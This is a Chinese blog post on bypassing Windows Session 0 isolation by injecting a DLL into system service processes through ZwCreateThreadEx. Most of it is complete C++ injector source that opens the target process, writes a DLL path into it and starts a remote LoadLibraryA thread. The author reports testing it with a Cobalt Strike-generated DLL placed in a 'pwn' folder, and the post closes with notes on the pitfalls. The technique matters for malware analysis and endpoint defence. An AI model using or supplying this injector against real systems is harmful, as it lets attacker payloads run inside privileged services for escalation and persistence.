远程线程注入突破SESSION 0

远程线程注入突破SESSION0SESSION0隔离在WindowsXP、WindowsServer2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Se

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

远程线程注入突破SESSION 0

SESSION 0 隔离

在Windows XP、Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Session)运行,而这个会话是由第一个登录到控制台的用户启动的。该会话就叫做Session 0,如下图所示,在Windows Vista之前,Session 0不仅包含服务,也包含标准用户应用程序。
远程线程注入突破SESSION 0

将服务和用户应用程序一起在Session 0中运行会导致安全风险,因为服务会使用提升后的权限运行,而用户应用程序使用用户特权(大部分都是非管理员用户)运行,这会使得恶意软件以某个服务为攻击目标,通过“劫持”该服务,达到提升自己权限级别的目的。

从Windows Vista开始,只有服务可以托管到Session 0中,用户应用程序和服务之间会被隔离,并需要运行在用户登录到系统时创建的后续会话中。例如第一个登录的用户创建 Session 1,第二个登录的用户创建Session 2,以此类推,如下图所示。

远程线程注入突破SESSION 0

突破SESSION 0

ZwCreateThreadEx函数可以突破SESSION 0 隔离,将DLL注入到SESSION 0 隔离的系统服务进程中。CreateRemoteThread底层实际上也是通过ZwCreateThreadEx函数实现线程创建的。CreateRemoteThread注入系统进程会失败的原因是因为调用ZwCreateThreadEx创建远程线程时,第七个参数CreateThreadFlags为1。

使用CreateRemoteThread注入失败DLL失败的关键在第七个参数CreateThreadFlags, 他会导致线程创建完成后一直挂起无法恢复进程运行,导致注入失败。而想要注册成功,把该参数的值改为0即可。

ZwCreateThreadEx

ZwCreateThreadEx在 ntdll.dll 中并没有声明,所以我们需要使用 GetProcAddress 从 ntdll.dll 中获取该函数的导出地址。
我们需要注意的是64位和32位中,函数定义还不一样

64 位下,ZwCreateThreadEx 函数声明为:

DWORD WINAPI ZwCreateThreadEx(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown);

32 位下,ZwCreateThreadEx 函数声明为:

DWORD WINAPI ZwCreateThreadEx(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,
        DWORD dw1,
        DWORD dw2,
        LPVOID pUnkown);

编码实现

#include <Windows.h>
#include <stdio.h>
#include <iostream>

void ShowError(const char* pszText)
{
	char szErr[MAX_PATH] = { 0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
	::MessageBox(NULL, szErr, "ERROR", MB_OK);
}


// 使用 ZwCreateThreadEx 实现远线程注入
BOOL ZwCreateThreadExInjectDll(DWORD PID,const char* pszDllFileName)
{
	HANDLE hProcess = NULL;
	SIZE_T dwSize = 0;
	LPVOID pDllAddr = NULL;
	FARPROC pFuncProcAddr = NULL;
	HANDLE hRemoteThread = NULL;
	DWORD dwStatus = 0;
	//打开注入进程,获取进程句柄
	hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
	if (hProcess == NULL) {
		printf("OpenProcess Error");
		return -1 ;
	}
	//在注入的进程申请内存地址

	dwSize = 1 + ::lstrlen(pszDllFileName);
	pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
	if (NULL == pDllAddr)
	{
		ShowError("VirtualAllocEx");
		return FALSE;
	}
	//写入内存地址
	if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
	{
		ShowError("WriteProcessMemory");
		return FALSE;
	}
	//加载ntdll
	HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
	if (NULL == hNtdllDll)
	{
		ShowError("LoadLirbary");
		return FALSE;
	}
	// 获取LoadLibraryA函数地址
	pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
	if (NULL == pFuncProcAddr)
	{
		ShowError("GetProcAddress_LoadLibraryA");
		return FALSE;
	}
	
#ifdef _WIN64
	typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
		PHANDLE ThreadHandle,
		ACCESS_MASK DesiredAccess,
		LPVOID ObjectAttributes,
		HANDLE ProcessHandle,
		LPTHREAD_START_ROUTINE lpStartAddress,
		LPVOID lpParameter,
		ULONG CreateThreadFlags,
		SIZE_T ZeroBits,
		SIZE_T StackSize,
		SIZE_T MaximumStackSize,
		LPVOID pUnkown);
#else
	typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
		PHANDLE ThreadHandle,
		ACCESS_MASK DesiredAccess,
		LPVOID ObjectAttributes,
		HANDLE ProcessHandle,
		LPTHREAD_START_ROUTINE lpStartAddress,
		LPVOID lpParameter,
		BOOL CreateSuspended,
		DWORD dwStackSize,
		DWORD dw1,
		DWORD dw2,
		LPVOID pUnkown);
#endif
	//获取ZwCreateThreadEx函数地址
	typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
	if (NULL == ZwCreateThreadEx)
	{
		ShowError("GetProcAddress_ZwCreateThread");
		return FALSE;
	}
	// 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
	dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
	if (NULL == hRemoteThread)
	{
		ShowError("ZwCreateThreadEx");
		return FALSE;
	}
	// 关闭句柄
	::CloseHandle(hProcess);
	::FreeLibrary(hNtdllDll);

	return TRUE;


}

int main(int argc, char* argv[])
{
#ifdef _WIN64
	BOOL bRet = ZwCreateThreadExInjectDll(8, "C:\\Users\\xx\\Desktop\\pwn\\artifact64.dll");
#else 
	BOOL bRet = ZwCreateThreadExInjectDll(atoi(argv[1]), argv[2]);
#endif
	if (FALSE == bRet)
	{
		std::cout << "Inject Dll Error.\n";
	}
	std::cout << "Inject Dll OK.\n";
	return 0;
}

远程线程注入突破SESSION 0

远程线程注入突破SESSION 0

在这如果想通过MessageBox判断是否注入成功,那么会大失所望。由于会话隔离,在系统程序中不能显示程序窗体,也不能用常规方式来建立用户进程。所以这里使用CS生成的dll来判断DLL是否注入成功。

前面用MessageBox来判断踩坑了。

步骤总结

  1. 打开注入进程,获取进程句柄
  2. 在注入的进程申请内存地址
  3. 写入内存地址
  4. 加载ntdll,获取LoadLibraryA函数地址
  5. 获取ZwCreateThreadEx函数地址
  6. 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入

坑点总结

  1. 需要使用管理员权限

  2. 进程注入dll使用MessageBox,会显示不了。因为系统程序中不能显示程序窗体

  3. ZwCreateThreadEx的函数定义在32和64位的不一样

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119840.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • STN:空间变换网络(Spatial Transformer Network)「建议收藏」

    STN:空间变换网络(Spatial Transformer Network)「建议收藏」空间变换网络(SpatialTransformerNetwork)空间变换网络(SpatialTransformerNetwork)空间变换器(SpatialTransformers)本文的惨开文献为:《SpatialTransformerNetworks》卷积神经网络定义了一个异常强大的模型类,但在计算和参数有效的方式下仍然受限于对输入数据的空间不…

    2022年10月19日
    3
  • Spring任务调度之Quartz

    Spring任务调度之Quartz

    2021年6月29日
    103
  • Java虚拟机工作原理具体解释

    Java虚拟机工作原理具体解释

    2021年12月9日
    53
  • Python-selenium「建议收藏」

    Python-selenium「建议收藏」摘要:selenium用于python操作游览器,用代码的方式模拟人的操作。例如登陆模拟人输入数据,点击登陆button等。准备工作:1.安装一个游览器2下载游览器对应版本的驱动,chrom

    2022年7月5日
    22
  • js 前进 后退 刷新

    js 前进 后退 刷新前进<inputtype=buttonvalue=前进οnclick=”window.history.go(1)”><inputtype=buttonvalue=前进οnclick=”window.history.forward()”>后退<inputtype=buttonvalue=后退οnclick=”window.history.go(-1)”><inputtype=buttonvalue=后退οnclick=”window

    2022年7月25日
    9
  • dns欺骗编辑html,charles DNS欺骗

    dns欺骗编辑html,charles DNS欺骗DNS欺骗/DNSSpoofing功能:通过将您自己的主机名指定给远程地址映射来欺骗DNS查找一般的开发流程中,在上线之前都需要在测试环境中先行进行验证,而此时手机客户端请求的域名是不太容易改变的,可以通过设置dns方式把域名转发到测试机上,具体设置Tools->DNSSpoofingSettings比如要把所有包含xxxxxx.com的域名转到10.0.0.71的服务器上,其实用修改…

    2025年5月27日
    5

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号